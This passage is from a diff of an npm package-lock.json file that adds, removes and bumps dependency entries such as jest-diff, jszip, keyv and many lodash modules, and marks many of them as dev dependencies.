"version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-interactive/-/is-interactive-1.0.0.tgz", + "integrity": "sha512-2HvIEKRoqS62guEC+qBjpvRubdX910WCMuJTZ+I9yvqKU2/12eSL549HMwtabb4oupdj2sMP50k+XJfB/8JE6w==", + "dev": true + }, + "is-negative-zero": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.1.tgz", + "integrity": "sha512-2z6JzQvZRa9A2Y7xC6dQQm4FSTSTNWjKIYYTt4246eMTJmIo0Q+ZyOsU66X8lxK1AbB92dFeglPLrhwpeRKO6w==", + "dev": true + }, "is-npm": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/is-npm/-/is-npm-4.0.0.tgz", - "integrity": "sha512-96ECIfh9xtDDlPylNPXhzjsykHsMJZ18ASpaWzQyBr4YRTcVjUvzaHayDAES2oU/3KpljhHUjtSRNiDwi0F0ig==" + "integrity": "sha512-96ECIfh9xtDDlPylNPXhzjsykHsMJZ18ASpaWzQyBr4YRTcVjUvzaHayDAES2oU/3KpljhHUjtSRNiDwi0F0ig==", + "dev": true }, "is-number": { "version": "3.0.0", @@ -7552,10 +10525,17 @@ } } }, + "is-number-object": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.0.4.tgz", + "integrity": "sha512-zohwelOAur+5uXtk8O3GPQ1eAcu4ZX3UwxQhUlfFFMNpUd83gXgjbhJh6HmB6LUNV/ieOLQuDwJO3dWJosUeMw==", + "dev": true + }, "is-obj": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-2.0.0.tgz", - "integrity": "sha512-drqDG3cbczxxEJRoOXcOjtdp1J/lyp1mNn0xaznRs8+muBhgQcrnbspox5X5fOw0HnMnbfDzvnEMEtqDEJEo8w==" + "integrity": "sha512-drqDG3cbczxxEJRoOXcOjtdp1J/lyp1mNn0xaznRs8+muBhgQcrnbspox5X5fOw0HnMnbfDzvnEMEtqDEJEo8w==", + "dev": true }, "is-path-cwd": { "version": "2.2.0", @@ -7634,7 +10614,14 @@ "is-typedarray": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz", - "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=" + "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=", + "dev": true + }, + "is-unicode-supported": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz", + "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==", + "dev": true }, "is-utf8": { "version": "0.2.1", @@ -7642,24 +10629,12 @@ "integrity": "sha1-Sw2hRCEE0bM2NA6AeX6GXPOffXI=", "dev": true }, - "is-whitespace-character": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/is-whitespace-character/-/is-whitespace-character-1.0.4.tgz", - "integrity": "sha512-SDweEzfIZM0SJV0EUga669UTKlmL0Pq8Lno0QDQsPnvECB3IM2aP0gdx5TrU0A01MAPfViaZiI2V1QMZLaKK5w==", - "dev": true - }, "is-windows": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/is-windows/-/is-windows-1.0.2.tgz", "integrity": "sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==", "dev": true }, - "is-word-character": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/is-word-character/-/is-word-character-1.0.4.tgz", - "integrity": "sha512-5SMO8RVennx3nZrqtKwCGyyetPE9VDba5ugvKLaD4KopPG5kR4mQ7tNt/r7feL5yt5h3lpuBbIUmCOG2eSzXHA==", - "dev": true - }, "is-wsl": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-1.1.0.tgz", @@ -7669,17 +10644,20 @@ "is-yarn-global": { "version": "0.3.0", "resolved": "https://registry.npmjs.org/is-yarn-global/-/is-yarn-global-0.3.0.tgz", - "integrity": "sha512-VjSeb/lHmkoyd8ryPVIKvOCn4D1koMqY+vqyjjUfc3xyKtP4dYOxM44sZrnqQSzSds3xyOrUTLTC9LVCVgLngw==" + "integrity": "sha512-VjSeb/lHmkoyd8ryPVIKvOCn4D1koMqY+vqyjjUfc3xyKtP4dYOxM44sZrnqQSzSds3xyOrUTLTC9LVCVgLngw==", + "dev": true }, "isarray": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", - "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", + "dev": true }, "isexe": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", - "integrity": "sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=" + "integrity": "sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=", + "dev": true }, "isobject": { "version": "3.0.1", @@ -7702,6 +10680,75 @@ "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=", "dev": true }, + "jest-diff": { + "version": "26.6.2", + "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-26.6.2.tgz", + "integrity": "sha512-6m+9Z3Gv9wN0WFVasqjCL/06+EFCMTqDEUl/b87HYK2rAPTyfz4ZIuSlPhY51PIQRWx5TaxeF1qmXKe9gfN3sA==", + "dev": true, + "requires": { + "chalk": "^4.0.0", + "diff-sequences": "^26.6.2", + "jest-get-type": "^26.3.0", + "pretty-format": "^26.6.2" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz", + "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==", + "dev": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "jest-get-type": { + "version": "26.3.0", + "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-26.3.0.tgz", + "integrity": "sha512-TpfaviN1R2pQWkIihlfEanwOXK0zcxrKEE4MlU6Tn7keoXdN6/3gK/xl0yEh8DOunn5pOVGKf8hB4R9gVh04ig==", + "dev": true + }, "js-base64": { "version": "2.5.2", "resolved": "https://registry.npmjs.org/js-base64/-/js-base64-2.5.2.tgz", @@ -7717,6 +10764,7 @@ "version": "3.13.1", "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.13.1.tgz", "integrity": "sha512-YfbcO7jXDdyj0DGxYVSlSeQNHbD7XPWvrVWeVUujrQEoZzWJIRrCPoyk6kL6IAjAG2IolMK4T0hNUe0HOUs5Jw==", + "dev": true, "requires": { "argparse": "^1.0.7", "esprima": "^4.0.0" @@ -7737,12 +10785,14 @@ "json-buffer": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz", - "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==" + "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==", + "dev": true }, "json-file-plus": { "version": "3.3.1", "resolved": "https://registry.npmjs.org/json-file-plus/-/json-file-plus-3.3.1.tgz", "integrity": "sha512-wo0q1UuiV5NsDPQDup1Km8IwEeqe+olr8tkWxeJq9Bjtcp7DZ0l+yrg28fSC3DEtrE311mhTZ54QGS6oiqnZEA==", + "dev": true, "requires": { "is": "^3.2.1", "node.extend": "^2.0.0", @@ -7754,7 +10804,13 @@ "json-parse-better-errors": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz", - "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw==" + "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw==", + "dev": true + }, + "json-parse-even-better-errors": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz", + "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==" }, "json-schema": { "version": "0.2.3", @@ -7815,24 +10871,47 @@ } }, "jsx-ast-utils": { - "version": "2.2.3", - "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-2.2.3.tgz", - "integrity": "sha512-EdIHFMm+1BPynpKOpdPqiOsvnIrInRGJD7bzPZdPkjitQEqpdpUuFpq4T0npZFKTiB3RhWFdGN+oqOJIdhDhQA==", + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-3.2.0.tgz", + "integrity": "sha512-EIsmt3O3ljsU6sot/J4E1zDRxfBNrhjyf/OKjlydwgEimQuznlM4Wv7U+ueONJMyEn1WRE0K8dhi3dVAXYT24Q==", "dev": true, "requires": { - "array-includes": "^3.0.3", - "object.assign": "^4.1.0" + "array-includes": "^3.1.2", + "object.assign": "^4.1.2" + }, + "dependencies": { + "object.assign": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.2.tgz", + "integrity": "sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==", + "dev": true, + "requires": { + "call-bind": "^1.0.0", + "define-properties": "^1.1.3", + "has-symbols": "^1.0.1", + "object-keys": "^1.1.1" + } + } } }, "jszip": { - "version": "3.5.0", - "resolved": "https://registry.npmjs.org/jszip/-/jszip-3.5.0.tgz", - "integrity": "sha512-WRtu7TPCmYePR1nazfrtuF216cIVon/3GWOvHS9QR5bIwSbnxtdpma6un3jyGGNhHsKCSzn5Ypk+EkDRvTGiFA==", + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/jszip/-/jszip-3.6.0.tgz", + "integrity": "sha512-jgnQoG9LKnWO3mnVNBnfhkh0QknICd1FGSrXcgrl67zioyJ4wgx25o9ZqwNtrROSflGBCGYnJfjrIyRIby1OoQ==", + "dev": true, "requires": { "lie": "~3.3.0", "pako": "~1.0.2", "readable-stream": "~2.3.6", "set-immediate-shim": "~1.0.1" + }, + "dependencies": { + "pako": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/pako/-/pako-1.0.11.tgz", + "integrity": "sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==", + "dev": true + } } }, "jwt-decode": { @@ -7846,9 +10925,10 @@ "integrity": "sha1-+m6i5DuQpoAohD0n8gddNajD5vk=" }, "keyv": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.0.1.tgz", - "integrity": "sha512-xz6Jv6oNkbhrFCvCP7HQa8AaII8y8LRpoSm661NOKLr4uHuBwhX4epXrPQgF3+xdJnN4Esm5X0xwY4bOlALOtw==", + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.0.3.tgz", + "integrity": "sha512-zdGa2TOpSZPq5mU6iowDARnMBZgtCqJ11dJROFi6tg6kTn4nuUdU09lFyLFSaHrWqpIJ+EBq4E8/Dc0Vx5vLdA==", + "dev": true, "requires": { "json-buffer": "3.0.1" } @@ -7866,47 +10946,25 @@ "dev": true }, "known-css-properties": { - "version": "0.18.0", - "resolved": "https://registry.npmjs.org/known-css-properties/-/known-css-properties-0.18.0.tgz", - "integrity": "sha512-69AgJ1rQa7VvUsd2kpvVq+VeObDuo3zrj0CzM5Slmf6yduQFAI2kXPDQJR2IE/u6MSAUOJrwSzjg5vlz8qcMiw==", + "version": "0.21.0", + "resolved": "https://registry.npmjs.org/known-css-properties/-/known-css-properties-0.21.0.tgz", + "integrity": "sha512-sZLUnTqimCkvkgRS+kbPlYW5o8q5w1cu+uIisKpEWkj31I8mx8kNG162DwRav8Zirkva6N5uoFsm9kzK4mUXjw==", "dev": true }, "latest-version": { "version": "5.1.0", "resolved": "https://registry.npmjs.org/latest-version/-/latest-version-5.1.0.tgz", "integrity": "sha512-weT+r0kTkRQdCdYCNtkMwWXQTMEswKrFBkm4ckQOMVhhqhIMI1UT2hMj+1iigIhgSZm5gTmrRXBNoGUgaTY1xA==", + "dev": true, "requires": { "package-json": "^6.3.0" } }, - "lcid": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/lcid/-/lcid-2.0.0.tgz", - "integrity": "sha512-avPEb8P8EGnwXKClwsNUgryVjllcRqtMYa49NTsbQagYuT1DcXnl1915oxWjoyGrXR6zH/Y0Zc96xWsPcoDKeA==", - "dev": true, - "requires": { - "invert-kv": "^2.0.0" - } - }, - "leven": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/leven/-/leven-3.1.0.tgz", - "integrity": "sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==", - "dev": true - }, - "levenary": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/levenary/-/levenary-1.1.1.tgz", - "integrity": "sha512-mkAdOIt79FD6irqjYSs4rdbnlT5vRonMEvBVPVb3XmevfS8kgRXwfes0dhPdEtzTWD/1eNE/Bm/G1iRt6DcnQQ==", - "dev": true, - "requires": { - "leven": "^3.1.0" - } - }, "levn": { "version": "0.3.0", "resolved": "https://registry.npmjs.org/levn/-/levn-0.3.0.tgz", "integrity": "sha1-OwmSTt+fCDwEkP3UwLxEIeBHZO4=", + "dev": true, "requires": { "prelude-ls": "~1.1.2", "type-check": "~0.3.2" @@ -7916,6 +10974,7 @@ "version": "3.3.0", "resolved": "https://registry.npmjs.org/lie/-/lie-3.3.0.tgz", "integrity": "sha512-UaiMJzeWRlEujzAuw5LokY1L5ecNQYZKfmyZ9L7wDHb/p5etKaxXhohBcrw0EYby+G/NA52vRSN4N39dxHAIwQ==", + "dev": true, "requires": { "immediate": "~3.0.5" } @@ -7989,54 +11048,116 @@ "integrity": "sha512-PlhdFcillOINfeV7Ni6oF1TAEayyZBoZ8bcshTHqOYJYlrqzRK5hagpagky5o4HfCzzd1TRkXPMFq6cKk9rGmA==" }, "lodash-es": { - "version": "4.17.15", - "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.15.tgz", - "integrity": "sha512-rlrc3yU3+JNOpZ9zj5pQtxnx2THmvRykwL4Xlxoa8I9lHBlVbbyPhgyPMioxVZ4NqyxaVVtaJnzsyOidQIhyyQ==" + "version": "4.17.21", + "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.21.tgz", + "integrity": "sha512-mKnC+QJ9pWVzv+C4/U3rRsHapFfHvQFoFB92e52xeyGMcX6/OlIl78je1u8vePzYZSkkogMPJ2yjxxsb89cxyw==" }, "lodash.assign": { "version": "4.2.0", "resolved": "https://registry.npmjs.org/lodash.assign/-/lodash.assign-4.2.0.tgz", - "integrity": "sha1-DZnzzNem0mHRm9rrkkUAXShYCOc=" + "integrity": "sha1-DZnzzNem0mHRm9rrkkUAXShYCOc=", + "dev": true }, "lodash.assignin": { "version": "4.2.0", "resolved": "https://registry.npmjs.org/lodash.assignin/-/lodash.assignin-4.2.0.tgz", - "integrity": "sha1-uo31+4QesKPoBEIysOJjqNxqKKI=" + "integrity": "sha1-uo31+4QesKPoBEIysOJjqNxqKKI=", + "dev": true + }, + "lodash.camelcase": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/lodash.camelcase/-/lodash.camelcase-4.3.0.tgz", + "integrity": "sha1-soqmKIorn8ZRA1x3EfZathkDMaY=", + "dev": true + }, + "lodash.chunk": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/lodash.chunk/-/lodash.chunk-4.2.0.tgz", + "integrity": "sha1-ZuXOH3btJ7QwPYxlEujRIW6BBrw=", + "dev": true }, "lodash.clone": { "version": "4.5.0", "resolved": "https://registry.npmjs.org/lodash.clone/-/lodash.clone-4.5.0.tgz", - "integrity": "sha1-GVhwRQ9aExkkeN9Lw9I9LeoZB7Y=" + "integrity": "sha1-GVhwRQ9aExkkeN9Lw9I9LeoZB7Y=", + "dev": true }, "lodash.clonedeep": { "version": "4.5.0", "resolved": "https://registry.npmjs.org/lodash.clonedeep/-/lodash.clonedeep-4.5.0.tgz", - "integrity": "sha1-4j8/nE+Pvd6HJSnBBxhXoIblzO8=" + "integrity": "sha1-4j8/nE+Pvd6HJSnBBxhXoIblzO8=", + "dev": true }, "lodash.constant": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/lodash.constant/-/lodash.constant-3.0.0.tgz", - "integrity": "sha1-v+Bczn5RWzEokl1jYhOEIL1iSRA=" + "integrity": "sha1-v+Bczn5RWzEokl1jYhOEIL1iSRA=", + "dev": true }, "lodash.curry": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/lodash.curry/-/lodash.curry-4.1.1.tgz", "integrity": "sha1-JI42By7ekGUB11lmIAqG2riyMXA=" }, + "lodash.debounce": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz", + "integrity": "sha1-gteb/zCmfEAF/9XiUVMArZyk168=", + "dev": true + }, + "lodash.defaults": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/lodash.defaults/-/lodash.defaults-4.2.0.tgz", + "integrity": "sha1-0JF4cW/+pN3p5ft7N/bwgCJ0WAw=", + "dev": true + }, + "lodash.endswith": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/lodash.endswith/-/lodash.endswith-4.2.1.tgz", + "integrity": "sha1-/tWawXOO0+I27dcGTsRWRIs3vAk=", + "dev": true + }, "lodash.filter": { "version": "4.6.0", "resolved": "https://registry.npmjs.org/lodash.filter/-/lodash.filter-4.6.0.tgz", - "integrity": "sha1-ZosdSYFgOuHMWm+nYBQ+SAtMSs4=" + "integrity": "sha1-ZosdSYFgOuHMWm+nYBQ+SAtMSs4=", + "dev": true + }, + "lodash.find": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/lodash.find/-/lodash.find-4.6.0.tgz", + "integrity": "sha1-ywcE1Hq3F4n/oN6Ll92Sb7iLE7E=", + "dev": true + }, + "lodash.findindex": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/lodash.findindex/-/lodash.findindex-4.6.0.tgz", + "integrity": "sha1-oyRd7mH7m24GJLU1ElYku2nBEQY=", + "dev": true + }, + "lodash.findkey": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/lodash.findkey/-/lodash.findkey-4.6.0.tgz", + "integrity": "sha1-gwWOkDtRy7dZ0JzPVG3qPqOcRxg=", + "dev": true }, "lodash.flatmap": { "version": "4.5.0", "resolved": "https://registry.npmjs.org/lodash.flatmap/-/lodash.flatmap-4.5.0.tgz", - "integrity": "sha1-74y/QI9uSCaGYzRTBcaswLd4cC4=" + "integrity": "sha1-74y/QI9uSCaGYzRTBcaswLd4cC4=", + "dev": true }, "lodash.flatten": { "version": "4.4.0", "resolved": "https://registry.npmjs.org/lodash.flatten/-/lodash.flatten-4.4.0.tgz", - "integrity": "sha1-8xwiIlqWMtK7+OSt2+8kCqdlph8=" + "integrity": "sha1-8xwiIlqWMtK7+OSt2+8kCqdlph8=", + "dev": true + }, + "lodash.flattendeep": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/lodash.flattendeep/-/lodash.flattendeep-4.4.0.tgz", + "integrity": "sha1-+wMJF/hqMTTlvJvsDWngAT3f7bI=", + "dev": true }, "lodash.flow": { "version": "3.5.0", @@ -8046,52 +11167,121 @@ "lodash.foreach": { "version": "4.5.0", "resolved": "https://registry.npmjs.org/lodash.foreach/-/lodash.foreach-4.5.0.tgz", - "integrity": "sha1-Gmo16s5AEoDH8G3d7DUWWrJ+PlM=" + "integrity": "sha1-Gmo16s5AEoDH8G3d7DUWWrJ+PlM=", + "dev": true }, "lodash.get": { "version": "4.4.2", "resolved": "https://registry.npmjs.org/lodash.get/-/lodash.get-4.4.2.tgz", "integrity": "sha1-LRd/ZS+jHpObRDjVNBSZ36OCXpk=" }, + "lodash.groupby": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/lodash.groupby/-/lodash.groupby-4.6.0.tgz", + "integrity": "sha1-Cwih3PaDl8OXhVwyOXg4Mt90A9E=", + "dev": true + }, "lodash.has": { "version": "4.5.2", "resolved": "https://registry.npmjs.org/lodash.has/-/lodash.has-4.5.2.tgz", - "integrity": "sha1-0Z9NwQlQWMzL4rDN9O4P5Ko3yGI=" + "integrity": "sha1-0Z9NwQlQWMzL4rDN9O4P5Ko3yGI=", + "dev": true }, - "lodash.isarray": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/lodash.isarray/-/lodash.isarray-4.0.0.tgz", - "integrity": "sha1-KspJayjEym1yZxUxNZDALm6jRAM=" + "lodash.invert": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/lodash.invert/-/lodash.invert-4.3.0.tgz", + "integrity": "sha1-j/4g1LYW9WvqjxqgxuvYDc90Ku4=", + "dev": true + }, + "lodash.isboolean": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/lodash.isboolean/-/lodash.isboolean-3.0.3.tgz", + "integrity": "sha1-bC4XHbKiV82WgC/UOwGyDV9YcPY=", + "dev": true }, "lodash.isempty": { "version": "4.4.0", "resolved": "https://registry.npmjs.org/lodash.isempty/-/lodash.isempty-4.4.0.tgz", - "integrity": "sha1-b4bL7di+TsmHvpqvM8loTbGzHn4=" + "integrity": "sha1-b4bL7di+TsmHvpqvM8loTbGzHn4=", + "dev": true }, "lodash.isequal": { "version": "4.5.0", "resolved": "https://registry.npmjs.org/lodash.isequal/-/lodash.isequal-4.5.0.tgz", - "integrity": "sha1-QVxEePK8wwEgwizhDtMib30+GOA=" + "integrity": "sha1-QVxEePK8wwEgwizhDtMib30+GOA=", + "dev": true }, "lodash.isfunction": { "version": "3.0.9", "resolved": "https://registry.npmjs.org/lodash.isfunction/-/lodash.isfunction-3.0.9.tgz", - "integrity": "sha512-AirXNj15uRIMMPihnkInB4i3NHeb4iBtNg9WRWuK2o31S+ePwwNmDPaTL3o7dTJ+VXNZim7rFs4rxN4YU1oUJw==" + "integrity": "sha512-AirXNj15uRIMMPihnkInB4i3NHeb4iBtNg9WRWuK2o31S+ePwwNmDPaTL3o7dTJ+VXNZim7rFs4rxN4YU1oUJw==", + "dev": true + }, + "lodash.isnumber": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/lodash.isnumber/-/lodash.isnumber-3.0.3.tgz", + "integrity": "sha1-POdoEMWSjQM1IwGsKHMX8RwLH/w=", + "dev": true + }, + "lodash.isobject": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/lodash.isobject/-/lodash.isobject-3.0.2.tgz", + "integrity": "sha1-PI+41bW/S/kK4G4U8qUwpO2TXh0=", + "dev": true + }, + "lodash.isplainobject": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/lodash.isplainobject/-/lodash.isplainobject-4.0.6.tgz", + "integrity": "sha1-fFJqUtibRcRcxpC4gWO+BJf1UMs=", + "dev": true + }, + "lodash.isstring": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/lodash.isstring/-/lodash.isstring-4.0.1.tgz", + "integrity": "sha1-1SfftUVuynzJu5XV2ur4i6VKVFE=", + "dev": true }, "lodash.isundefined": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/lodash.isundefined/-/lodash.isundefined-3.0.1.tgz", - "integrity": "sha1-I+89lTVWUgOmbO/VuDD4SJEa+0g=" + "integrity": "sha1-I+89lTVWUgOmbO/VuDD4SJEa+0g=", + "dev": true }, "lodash.keys": { "version": "4.2.0", "resolved": "https://registry.npmjs.org/lodash.keys/-/lodash.keys-4.2.0.tgz", - "integrity": "sha1-oIYCrBLk+4P5H8H7ejYKTZujUgU=" + "integrity": "sha1-oIYCrBLk+4P5H8H7ejYKTZujUgU=", + "dev": true + }, + "lodash.last": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/lodash.last/-/lodash.last-3.0.0.tgz", + "integrity": "sha1-JC9mMRLdTG5jcoxgo8kJ0b2tvUw=", + "dev": true }, "lodash.map": { "version": "4.6.0", "resolved": "https://registry.npmjs.org/lodash.map/-/lodash.map-4.6.0.tgz", - "integrity": "sha1-dx7Hg540c9nEzeKLGTlMNWL09tM=" + "integrity": "sha1-dx7Hg540c9nEzeKLGTlMNWL09tM=", + "dev": true + }, + "lodash.merge": { + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", + "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", + "dev": true + }, + "lodash.omit": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/lodash.omit/-/lodash.omit-4.5.0.tgz", + "integrity": "sha1-brGa5aHuHdnfC5aeZs4Lf6MLXmA=", + "dev": true + }, + "lodash.orderby": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/lodash.orderby/-/lodash.orderby-4.6.0.tgz", + "integrity": "sha1-5pfwTOXXhSL1TZM4syuBozk+TrM=", + "dev": true }, "lodash.pick": { "version": "4.4.0", @@ -8101,22 +11291,38 @@ "lodash.reduce": { "version": "4.6.0", "resolved": "https://registry.npmjs.org/lodash.reduce/-/lodash.reduce-4.6.0.tgz", - "integrity": "sha1-8atrg5KZrUj3hKu/R2WW8DuRTTs=" + "integrity": "sha1-8atrg5KZrUj3hKu/R2WW8DuRTTs=", + "dev": true }, "lodash.set": { "version": "4.3.2", "resolved": "https://registry.npmjs.org/lodash.set/-/lodash.set-4.3.2.tgz", - "integrity": "sha1-2HV7HagH3eJIFrDWqEvqGnYjCyM=" + "integrity": "sha1-2HV7HagH3eJIFrDWqEvqGnYjCyM=", + "dev": true }, "lodash.size": { "version": "4.2.0", "resolved": "https://registry.npmjs.org/lodash.size/-/lodash.size-4.2.0.tgz", - "integrity": "sha1-cf517T6r2yvLc6GwtPUcOS7ie4Y=" + "integrity": "sha1-cf517T6r2yvLc6GwtPUcOS7ie4Y=", + "dev": true + }, + "lodash.sortby": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/lodash.sortby/-/lodash.sortby-4.7.0.tgz", + "integrity": "sha1-7dFMgk4sycHgsKG0K7UhBRakJDg=", + "dev": true + }, + "lodash.sum": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/lodash.sum/-/lodash.sum-4.0.2.tgz", + "integrity": "sha1-rZDjl5ZdgD1PH/eqWy0Bl/O0Y3s=", + "dev": true }, "lodash.topairs": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/lodash.topairs/-/lodash.topairs-4.3.0.tgz", - "integrity": "sha1-O23qo31g+xFnE8RsXxfqGQ7EjWQ=" + "integrity": "sha1-O23qo31g+xFnE8RsXxfqGQ7EjWQ=", + "dev": true }, "lodash.topath": { "version": "4.5.2", @@ -8126,33 +11332,98 @@ "lodash.transform": { "version": "4.6.0", 